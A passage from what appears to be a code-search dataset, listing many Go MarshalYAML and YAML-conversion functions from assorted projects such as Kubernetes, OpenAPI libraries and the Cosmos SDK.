err\n}","func (ss StdSignature) MarshalYAML() (interface{}, error) {\n\tpk := \"\"\n\tif ss.PubKey != nil {\n\t\tpk = ss.PubKey.String()\n\t}\n\n\tbz, err := yaml.Marshal(struct {\n\t\tPubKey string `json:\"pub_key\"`\n\t\tSignature string `json:\"signature\"`\n\t}{\n\t\tpk,\n\t\tfmt.Sprintf(\"%X\", ss.Signature),\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn string(bz), err\n}","func (r *Regexp) MarshalYAML() (interface{}, error) {\n\treturn r.String(), nil\n}","func asYaml(w io.Writer, m resmap.ResMap) error {\n\tb, err := m.AsYaml()\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = w.Write(b)\n\treturn err\n}","func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (k *Kluster) YAML() ([]byte, error) {\n\treturn yaml.Marshal(k)\n}","func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (key PublicKey) MarshalYAML() (interface{}, error) {\n\treturn key.String(), nil\n}","func (cp *CertPool) MarshalYAML() (interface{}, error) {\n\treturn cp.Files, nil\n}","func (c CompressionType) MarshalYAML() (interface{}, error) {\n\treturn compressionTypeID[c], nil\n}","func (d *Discriminator) MarshalYAML() (interface{}, error) {\n\tnb := low2.NewNodeBuilder(d, d.low)\n\treturn nb.Render(), nil\n}","func (d Document) MarshalYAML() (interface{}, error) {\n\treturn d.raw, nil\n}","func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\n\tif len(extensions) == 0 {\n\t\treturn v, nil\n\t}\n\tmarshaled, err := yaml.Marshal(v)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar unmarshaled map[string]interface{}\n\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\n\t\treturn nil, err\n\t}\n\tfor k, v := range extensions {\n\t\tunmarshaled[k] = v\n\t}\n\treturn unmarshaled, nil\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.String(), nil\n}","func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\n\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\n}","func (b Bool) MarshalYAML() (interface{}, error) {\n\tif !b.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn b.value, nil\n}","func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\n\treturn util.MarshalYAMLWithDescriptions(o)\n}","func (i Int) MarshalYAML() (interface{}, error) {\n\tif !i.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn i.value, nil\n}","func (s *spiff) Marshal(node Node) ([]byte, error) {\n\treturn yaml.Marshal(node)\n}","func (u *URL) MarshalYAML() (interface{}, error) {\n\tif u.url == nil {\n\t\treturn nil, nil\n\t}\n\treturn u.url.String(), nil\n}","func (i ChannelName) MarshalYAML() (interface{}, error) {\n\treturn i.String(), nil\n}","func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\n\tvar s yaml.MapSlice\n\tfor _, item := range m.ToSlice() {\n\t\ts = append(s, yaml.MapItem{\n\t\t\tKey: item.Key,\n\t\t\tValue: item.Value,\n\t\t})\n\t}\n\treturn yaml.Marshal(s)\n}","func (d Duration) MarshalYAML() (interface{}, error) {\n\treturn d.Duration.String(), nil\n}","func (v *Int8) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func (schema SchemaType) MarshalYAML() (interface{}, error) {\n\treturn schema.String(), nil\n}","func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\n\tif m.Config == nil {\n\t\treturn m.Name, nil\n\t}\n\n\traw := map[string]interface{}{\n\t\tm.Name: m.Config,\n\t}\n\treturn raw, nil\n}","func (d *WebAuthnDevice) MarshalYAML() (any, error) {\n\treturn d.ToData(), nil\n}","func (u URL) MarshalYAML() (interface{}, error) {\n\tif u.URL != nil {\n\t\treturn u.String(), nil\n\t}\n\treturn nil, nil\n}","func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\n\treturn ec.String(), nil\n}","func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\n\tunmarshaler := &pmetric.JSONMarshaler{}\n\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar jsonVal map[string]interface{}\n\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\tb := &bytes.Buffer{}\n\tenc := yaml.NewEncoder(b)\n\tenc.SetIndent(2)\n\tif err := enc.Encode(jsonVal); err != nil {\n\t\treturn nil, err\n\t}\n\treturn b.Bytes(), nil\n}","func (s *Spec020) Marshal() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}","func (f BodyField) MarshalYAML() (interface{}, error) {\n\treturn toJSONDot(f), nil\n}","func (c Configuration) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}","func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\n\tconst mediaType = runtime.ContentTypeYAML\n\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\n\tif !ok {\n\t\treturn []byte{}, errors.Errorf(\"unsupported media type %q\", mediaType)\n\t}\n\n\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\n\treturn runtime.Encode(encoder, obj)\n}","func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\n\tdummy := dummyReadUntilConfig{\n\t\tInput: r.Input,\n\t\tRestart: r.Restart,\n\t\tCheck: r.Check,\n\t}\n\tif r.Input == nil {\n\t\tdummy.Input = struct{}{}\n\t}\n\treturn dummy, nil\n}","func (r Discriminator) MarshalYAML() (interface{}, error) {\n\tobj := make(map[string]interface{})\n\n\tobj[\"propertyName\"] = r.PropertyName\n\n\tif len(r.Mapping) > 0 {\n\t\tobj[\"mapping\"] = r.Mapping\n\t}\n\n\treturn obj, nil\n}","func (v *VersionInfo) MarshalYAML() (interface{}, error) {\n\n\treturn &struct {\n\t\tSemVer string `yaml:\"semver\"`\n\t\tShaLong string `yaml:\"shaLong\"`\n\t\tBuildTimestamp int64 `yaml:\"buildTimestamp\"`\n\t\tBranch string `yaml:\"branch\"`\n\t\tArch string `yaml:\"arch\"`\n\t}{\n\t\tSemVer: v.SemVer,\n\t\tShaLong: v.ShaLong,\n\t\tBuildTimestamp: v.BuildTimestamp.Unix(),\n\t\tBranch: v.Branch,\n\t\tArch: v.Arch,\n\t}, nil\n}","func Marshal(o interface{}) ([]byte, error) {\n\tj, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error marshaling into JSON: %v\", err)\n\t}\n\n\ty, err := JSONToYAML(j)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error converting JSON to YAML: %v\", err)\n\t}\n\n\treturn y, nil\n}","func ToYAML(v interface{}) ([]byte, error) {\n\treturn yaml.Marshal(v)\n}","func (p *ServiceDefinition) Marshal() (string, error) {\n\toutput, err := yaml.Marshal(p)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(output), nil\n}","func (date Date) MarshalYAML() (interface{}, error) {\n\tvar d = string(date)\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn nil, err\n\t}\n\treturn d, nil\n}","func (v *Uint16) MarshalYAML() (interface{}, error) {\n\tif v.IsAssigned {\n\t\treturn v.Val, nil\n\t}\n\treturn nil, nil\n}","func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\n\td, err := yaml.Marshal(&m)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(d), nil\n}","func (c *Config) YAML() ([]byte, error) {\n\treturn yaml.Marshal(c)\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif !s.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn s.value, nil\n}","func (d DurationMinutes) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Minute), nil\n}","func SortYAML(in io.Reader, out io.Writer, indent int) error {\n\n\tincomingYAML, err := ioutil.ReadAll(in)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"can't read input: %v\", err)\n\t}\n\n\tvar hasNoStartingLabel bool\n\trootIndent, err := detectRootIndent(incomingYAML)\n\tif err != nil {\n\t\tif !errors.Is(err, ErrNoStartingLabel) {\n\t\t\tfmt.Fprint(out, string(incomingYAML))\n\t\t\treturn fmt.Errorf(\"can't detect root indentation: %v\", err)\n\t\t}\n\n\t\thasNoStartingLabel = true\n\t}\n\n\tif hasNoStartingLabel {\n\t\tincomingYAML = append([]byte(CustomLabel+\"\\n\"), incomingYAML...)\n\t}\n\n\tvar value map[string]interface{}\n\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\n\t\treturn fmt.Errorf(\"can't decode YAML: %v\", err)\n\t}\n\n\tvar outgoingYAML bytes.Buffer\n\tencoder := yaml.NewEncoder(&outgoingYAML)\n\tencoder.SetIndent(indent)\n\n\tif err := encoder.Encode(&value); err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-encode YAML: %v\", err)\n\t}\n\n\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\n\tif err != nil {\n\t\tfmt.Fprint(out, string(incomingYAML))\n\t\treturn fmt.Errorf(\"can't re-indent YAML: %v\", err)\n\t}\n\n\tfmt.Fprint(out, reindentedYAML)\n\treturn nil\n}","func (s String) MarshalYAML() (interface{}, error) {\n\tif len(string(s)) == 0 || string(s) == `\"\"` {\n\t\treturn nil, nil\n\t}\n\treturn string(s), nil\n}","func (vm ValidationMap) AsYAML() (string, error) {\n\tdata, err := yaml.Marshal(vm)\n\treturn string(data), err\n}","func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: bva.AccountNumber,\n\t\tPubKey: getPKString(bva),\n\t\tSequence: bva.Sequence,\n\t\tOriginalVesting: bva.OriginalVesting,\n\t\tDelegatedFree: bva.DelegatedFree,\n\t\tDelegatedVesting: bva.DelegatedVesting,\n\t\tEndTime: bva.EndTime,\n\t}\n\treturn marshalYaml(out)\n}","func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\n\trequestYaml, err := yaml.MarshalContext(ctx, obj)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfile, err := parser.ParseBytes(requestYaml, 0)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// normalize the structure converting the byte slice fields to string\n\tfor _, path := range paths {\n\t\tpathString, err := yaml.PathString(path)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tvar byteSlice []byte\n\t\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\n\t\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif err := pathString.ReplaceWithReader(file,\n\t\t\tstrings.NewReader(string(byteSlice)),\n\t\t); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\treturn file.String(), nil\n}","func (s *Schema) ToYAML() ([]byte, error) {\n\treturn yaml.Marshal(s)\n}","func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\n\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tout := vestingAccountYAML{\n\t\tAddress: accAddr,\n\t\tAccountNumber: va.AccountNumber,\n\t\tPubKey: getPKString(va),\n\t\tSequence: va.Sequence,\n\t\tOriginalVesting: va.OriginalVesting,\n\t\tDelegatedFree: va.DelegatedFree,\n\t\tDelegatedVesting: va.DelegatedVesting,\n\t\tEndTime: va.EndTime,\n\t\tStartTime: va.StartTime,\n\t\tVestingPeriods: va.VestingPeriods,\n\t}\n\treturn marshalYaml(out)\n}","func RunYaml(cmd *cobra.Command, args []string) {\n\tc := LoadOperatorConf(cmd)\n\tp := printers.YAMLPrinter{}\n\tutil.Panic(p.PrintObj(c.NS, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SA, os.Stdout))\n\tutil.Panic(p.PrintObj(c.Role, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBinding, os.Stdout))\n\tutil.Panic(p.PrintObj(c.SAEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.RoleBindingEndpoint, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRole, os.Stdout))\n\tutil.Panic(p.PrintObj(c.ClusterRoleBinding, os.Stdout))\n\tnoDeploy, _ := cmd.Flags().GetBool(\"no-deploy\")\n\tif !noDeploy {\n\t\tutil.Panic(p.PrintObj(c.Deployment, os.Stdout))\n\t}\n}","func toYAML(v interface{}) string {\n\tdata, err := yaml.Marshal(v)\n\tif err != nil {\n\t\t// Swallow errors inside of a template.\n\t\treturn \"\"\n\t}\n\n\treturn strings.TrimSuffix(string(data), \"\\n\")\n}","func (d *Dataset) YAML() (string, error) {\n\tback := d.Dict()\n\n\tb, err := yaml.Marshal(back)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(b), nil\n}","func TestYAML(t *testing.T) {\n\tyamls := []string{\n\t\tnamespaceYAMLTemplate,\n\t\topenShiftSCCQueryYAMLTemplate,\n\t\tcustomResourceDefinitionYAMLv1,\n\t}\n\tfor i, yamlData := range yamls {\n\t\t// jsonData, err := yaml.YAMLToJSON([]byte(yamlData))\n\t\t_, err := yaml.YAMLToJSON([]byte(yamlData))\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"expected constant %v to be valid YAML\", i)\n\t\t}\n\t\t// fmt.Printf(\"json: %v\", string(jsonData))\n\t}\n}","func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}","func toYamlString(resource interface{}) string {\n\tdata, err := yaml.Marshal(resource)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\treturn string(data)\n}","func (d DurationMillis) MarshalYAML() (interface{}, error) {\n\tif !d.IsPresent() {\n\t\treturn nil, nil\n\t}\n\treturn int(d.value / time.Millisecond), nil\n}","func (v Values) YAML() (string, error) {\n\tb, err := yaml.Marshal(v)\n\treturn string(b), err\n}","func (s SensitiveString) MarshalYAML() (interface{}, error) {\n\treturn s.String(), nil\n}"],"string":"[\n \"func (op OpFlatten) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (ep Endpoint) MarshalYAML() (interface{}, error) {\\n\\ts, err := ep.toString()\\n\\treturn s, err\\n}\",\n \"func (o *OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(o, o.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (s GitEvent) MarshalYAML() (interface{}, error) {\\n\\treturn toString[s], nil\\n}\",\n \"func (a ApprovalStrategy) MarshalYAML() (interface{}, error) {\\n\\treturn approvalStrategyToString[a], nil\\n\\t//buffer := bytes.NewBufferString(`\\\"`)\\n\\t//buffer.WriteString(approvalStrategyToString[*s])\\n\\t//buffer.WriteString(`\\\"`)\\n\\t//return buffer.Bytes(), nil\\n}\",\n \"func (p *Parameter) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(p, p.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (op OpRetain) MarshalYAML() (interface{}, error) {\\n\\treturn op.Fields, nil\\n}\",\n \"func (b *Backend) MarshalYAML() (interface{}, error) {\\n\\tb.mu.RLock()\\n\\tdefer b.mu.RUnlock()\\n\\n\\tpayload := struct {\\n\\t\\tAddress string\\n\\t\\tDisabledUntil time.Time `yaml:\\\"disabledUntil\\\"`\\n\\t\\tForcePromotionsAfter time.Duration `yaml:\\\"forcePromotionsAfter\\\"`\\n\\t\\tLatency time.Duration `yaml:\\\"latency\\\"`\\n\\t\\tMaxConnections int `yaml:\\\"maxConnections\\\"`\\n\\t\\tTier int `yaml:\\\"tier\\\"`\\n\\t}{\\n\\t\\tAddress: b.addr.String(),\\n\\t\\tDisabledUntil: b.mu.disabledUntil,\\n\\t\\tForcePromotionsAfter: b.mu.forcePromotionAfter,\\n\\t\\tLatency: b.mu.lastLatency,\\n\\t\\tMaxConnections: b.mu.maxConnections,\\n\\t\\tTier: b.mu.tier,\\n\\t}\\n\\treturn payload, nil\\n}\",\n \"func (c *Components) MarshalYAML() (interface{}, error) {\\n\\tnb := high.NewNodeBuilder(c, c.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (f Flag) MarshalYAML() (interface{}, error) {\\n\\treturn f.Name, nil\\n}\",\n \"func (i UserGroupAccess) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (p Params) MarshalYAML() (interface{}, error) {\\n\\treturn p.String(), nil\\n}\",\n \"func (r OAuthFlow) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"authorizationUrl\\\"] = r.AuthorizationURL\\n\\n\\tobj[\\\"tokenUrl\\\"] = r.TokenURL\\n\\n\\tif r.RefreshURL != \\\"\\\" {\\n\\t\\tobj[\\\"refreshUrl\\\"] = r.RefreshURL\\n\\t}\\n\\n\\tobj[\\\"scopes\\\"] = r.Scopes\\n\\n\\tfor key, val := range r.Extensions {\\n\\t\\tobj[key] = val\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (bc *ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(AtomicLoadByteCount(bc)), nil\\n}\",\n \"func (i Instance) MarshalYAML() (interface{}, error) {\\n\\treturn i.Vars, nil\\n}\",\n \"func (i Interface) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (n Nil) MarshalYAML() (interface{}, error) {\\n\\treturn nil, nil\\n}\",\n \"func (d Rate) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (m *BootstrapMode) MarshalYAML() (interface{}, error) {\\n\\treturn m.String(), nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (key PrivateKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (op OpRemove) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (i UOM) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (z Z) MarshalYAML() (interface{}, error) {\\n\\ttype Z struct {\\n\\t\\tS string `json:\\\"s\\\"`\\n\\t\\tI int32 `json:\\\"iVal\\\"`\\n\\t\\tHash string\\n\\t\\tMultiplyIByTwo int64 `json:\\\"multipliedByTwo\\\"`\\n\\t}\\n\\tvar enc Z\\n\\tenc.S = z.S\\n\\tenc.I = z.I\\n\\tenc.Hash = z.Hash()\\n\\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\\n\\treturn &enc, nil\\n}\",\n \"func (v Validator) MarshalYAML() (interface{}, error) {\\n\\tbs, err := yaml.Marshal(struct {\\n\\t\\tStatus sdk.BondStatus\\n\\t\\tJailed bool\\n\\t\\tUnbondingHeight int64\\n\\t\\tConsPubKey string\\n\\t\\tOperatorAddress sdk.ValAddress\\n\\t\\tTokens sdk.Int\\n\\t\\tDelegatorShares sdk.Dec\\n\\t\\tDescription Description\\n\\t\\tUnbondingCompletionTime time.Time\\n\\t\\tCommission Commission\\n\\t\\tMinSelfDelegation sdk.Dec\\n\\t}{\\n\\t\\tOperatorAddress: v.OperatorAddress,\\n\\t\\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\\n\\t\\tJailed: v.Jailed,\\n\\t\\tStatus: v.Status,\\n\\t\\tTokens: v.Tokens,\\n\\t\\tDelegatorShares: v.DelegatorShares,\\n\\t\\tDescription: v.Description,\\n\\t\\tUnbondingHeight: v.UnbondingHeight,\\n\\t\\tUnbondingCompletionTime: v.UnbondingCompletionTime,\\n\\t\\tCommission: v.Commission,\\n\\t\\tMinSelfDelegation: v.MinSelfDelegation,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), nil\\n}\",\n \"func (f Fixed8) MarshalYAML() (interface{}, error) {\\n\\treturn f.String(), nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\treturn u.String(), nil\\n}\",\n \"func (r RetryConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyRetryConfig{\\n\\t\\tOutput: r.Output,\\n\\t\\tConfig: r.Config,\\n\\t}\\n\\tif r.Output == nil {\\n\\t\\tdummy.Output = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (d LegacyDec) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (o *Output) MarshalYAML() (interface{}, error) {\\n\\tif o.ShowValue {\\n\\t\\treturn withvalue(*o), nil\\n\\t}\\n\\to.Value = nil // explicitly make empty\\n\\to.Sensitive = false // explicitly make empty\\n\\treturn *o, nil\\n}\",\n \"func (export WebAuthnDeviceExport) MarshalYAML() (any, error) {\\n\\treturn export.ToData(), nil\\n}\",\n \"func (b ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(b), nil\\n}\",\n \"func (r ParseKind) MarshalYAML() ([]byte, error) {\\n\\tif s, ok := interface{}(r).(fmt.Stringer); ok {\\n\\t\\treturn yaml.Marshal(s.String())\\n\\t}\\n\\ts, ok := _ParseKindValueToName[r]\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid ParseKind: %d\\\", r)\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(d)\\n}\",\n \"func Marshal(v interface{}) ([]byte, error) {\\n\\tvar buf bytes.Buffer\\n\\tenc := yaml.NewEncoder(&buf)\\n\\tenc.SetIndent(2)\\n\\terr := enc.Encode(v)\\n\\treturn buf.Bytes(), err\\n}\",\n \"func (ss StdSignature) MarshalYAML() (interface{}, error) {\\n\\tpk := \\\"\\\"\\n\\tif ss.PubKey != nil {\\n\\t\\tpk = ss.PubKey.String()\\n\\t}\\n\\n\\tbz, err := yaml.Marshal(struct {\\n\\t\\tPubKey string `json:\\\"pub_key\\\"`\\n\\t\\tSignature string `json:\\\"signature\\\"`\\n\\t}{\\n\\t\\tpk,\\n\\t\\tfmt.Sprintf(\\\"%X\\\", ss.Signature),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bz), err\\n}\",\n \"func (r *Regexp) MarshalYAML() (interface{}, error) {\\n\\treturn r.String(), nil\\n}\",\n \"func asYaml(w io.Writer, m resmap.ResMap) error {\\n\\tb, err := m.AsYaml()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t_, err = w.Write(b)\\n\\treturn err\\n}\",\n \"func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (k *Kluster) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(k)\\n}\",\n \"func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (key PublicKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (cp *CertPool) MarshalYAML() (interface{}, error) {\\n\\treturn cp.Files, nil\\n}\",\n \"func (c CompressionType) MarshalYAML() (interface{}, error) {\\n\\treturn compressionTypeID[c], nil\\n}\",\n \"func (d *Discriminator) MarshalYAML() (interface{}, error) {\\n\\tnb := low2.NewNodeBuilder(d, d.low)\\n\\treturn nb.Render(), nil\\n}\",\n \"func (d Document) MarshalYAML() (interface{}, error) {\\n\\treturn d.raw, nil\\n}\",\n \"func MarshalYAML(v interface{}, extensions map[string]interface{}) (interface{}, error) {\\n\\tif len(extensions) == 0 {\\n\\t\\treturn v, nil\\n\\t}\\n\\tmarshaled, err := yaml.Marshal(v)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar unmarshaled map[string]interface{}\\n\\tif err := yaml.Unmarshal(marshaled, &unmarshaled); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfor k, v := range extensions {\\n\\t\\tunmarshaled[k] = v\\n\\t}\\n\\treturn unmarshaled, nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\\n\\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\\n}\",\n \"func (b Bool) MarshalYAML() (interface{}, error) {\\n\\tif !b.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn b.value, nil\\n}\",\n \"func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (i Int) MarshalYAML() (interface{}, error) {\\n\\tif !i.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn i.value, nil\\n}\",\n \"func (s *spiff) Marshal(node Node) ([]byte, error) {\\n\\treturn yaml.Marshal(node)\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\tif u.url == nil {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn u.url.String(), nil\\n}\",\n \"func (i ChannelName) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\\n\\tvar s yaml.MapSlice\\n\\tfor _, item := range m.ToSlice() {\\n\\t\\ts = append(s, yaml.MapItem{\\n\\t\\t\\tKey: item.Key,\\n\\t\\t\\tValue: item.Value,\\n\\t\\t})\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.Duration.String(), nil\\n}\",\n \"func (v *Int8) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (schema SchemaType) MarshalYAML() (interface{}, error) {\\n\\treturn schema.String(), nil\\n}\",\n \"func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\\n\\tif m.Config == nil {\\n\\t\\treturn m.Name, nil\\n\\t}\\n\\n\\traw := map[string]interface{}{\\n\\t\\tm.Name: m.Config,\\n\\t}\\n\\treturn raw, nil\\n}\",\n \"func (d *WebAuthnDevice) MarshalYAML() (any, error) {\\n\\treturn d.ToData(), nil\\n}\",\n \"func (u URL) MarshalYAML() (interface{}, error) {\\n\\tif u.URL != nil {\\n\\t\\treturn u.String(), nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\\n\\treturn ec.String(), nil\\n}\",\n \"func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\\n\\tunmarshaler := &pmetric.JSONMarshaler{}\\n\\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar jsonVal map[string]interface{}\\n\\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb := &bytes.Buffer{}\\n\\tenc := yaml.NewEncoder(b)\\n\\tenc.SetIndent(2)\\n\\tif err := enc.Encode(jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn b.Bytes(), nil\\n}\",\n \"func (s *Spec020) Marshal() ([]byte, error) {\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (f BodyField) MarshalYAML() (interface{}, error) {\\n\\treturn toJSONDot(f), nil\\n}\",\n \"func (c Configuration) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(c)\\n}\",\n \"func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) 